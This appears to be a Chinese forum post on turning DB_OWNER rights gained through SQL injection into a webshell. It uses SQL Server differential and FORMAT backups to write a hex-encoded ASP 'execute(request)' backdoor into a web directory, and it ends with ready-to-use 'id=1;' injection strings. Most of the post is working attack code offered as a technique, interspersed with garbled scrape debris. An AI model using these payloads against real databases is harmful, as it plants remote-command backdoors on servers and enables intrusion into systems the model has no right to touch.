DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

; W1 l0 ?9 u0 s+ s7 E3 `* \! Y: v# s" `一利用差异备份
  o4 V" T' @$ v加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ Z# y* b# P% [3 Icreate table [dbo].[xiaolu] ([cmd] [image]);
" L" {: }& d! p/ oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

% D7 I9 y7 P* v0 G9 y. y二利用完全FORMAT
+ {& i4 W4 \- S) Z9 _; x- s加一个参数WITH FROMAT
0 Y# j6 p* V* v7 I# {! ^3 ?有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

7 O+ n3 t% L, ^% V$ }3 O4 mdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
( Z! q& j( t' D& G* F+ _2 n
总的来说就是那么简单几句,下面以备份数据库model为例子
, e% W) I, @- G; J4 ?: N
id=1;use model create table cmd(str image);insert into cmd(str) values (”)

" H/ Q7 r" H* D1 D5 A, ^7 _id=1;backup database model to disk=’你的路径‘ with differential,format;–
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